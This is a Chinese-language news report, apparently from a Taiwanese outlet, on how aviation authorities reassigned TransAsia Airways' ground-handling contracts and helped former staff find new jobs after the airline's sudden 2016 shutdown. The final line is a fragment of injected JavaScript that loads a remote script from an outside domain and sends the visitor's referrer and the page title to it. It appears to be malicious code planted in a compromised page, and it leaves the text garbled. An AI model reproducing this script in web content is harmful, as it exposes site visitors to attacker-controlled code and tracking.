▲復興航空宣布解散,松山機場櫃檯空蕩。(圖/記者陳明安攝,2016.11.22)

 

復興航空於11月22日起無預警停航,除衝擊旅客與員工權益,復興航空原本承攬10家國內、外民航業者陸側櫃臺運務代理,一度也因無法立即尋妥接手業者,衝擊相關業者航班調度。經民航局協調,10家業者運務代理問題均已解決,也有業者允諾聘用部份復興原有員工,已陸續展開招考、面試等相關作業。

復興航空停航後,其代理的運務,僅延後至12月20日止將告一段落,民航局初步協調,菲亞洲航空決定聘用原復興員工自辦運務,廈門航空、捷星太平洋、泰國航空、四川航空、華信航空與香港快運等業者,分別由華航、長榮、遠航、華信等接手。

宿霧太平洋運務將由遠航代理,捷星亞洲與捷星日本管制區內作業由華航代理,櫃台劃位作業則暫由在臺總代理(GSA)執行至明年3月26日,後續已與國籍業者談妥接手事宜,簽約後即可對外宣布。協調過程,遠航、華信、GSA等業者亦允諾聘用部份復興原有員工,並已著手招考事宜。

員工權益照顧部分,民航局配合勞動部與興航,持續彙整提供員工轉業資訊,職缺涵蓋機師、機務、地勤、運務、空服與行政後勤等,部份復興地勤人員已確定將轉至華信、捷星集團、亞洲航空任職;長榮與華航亦已先後召開機師招考說明會,參加說明會的機師全數報考,部份已錄取,另也有通過面試,即將接受模擬機測試。

遠航、華信、捷星集團、樂桃航空、菲亞洲、吉祥航空等國籍或外籍民航業者,及漢翔、晶華酒店、首都酒店等航太、觀光業者,亦表達歡迎復興航空員工轉任之意,將由興航協助轉介。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;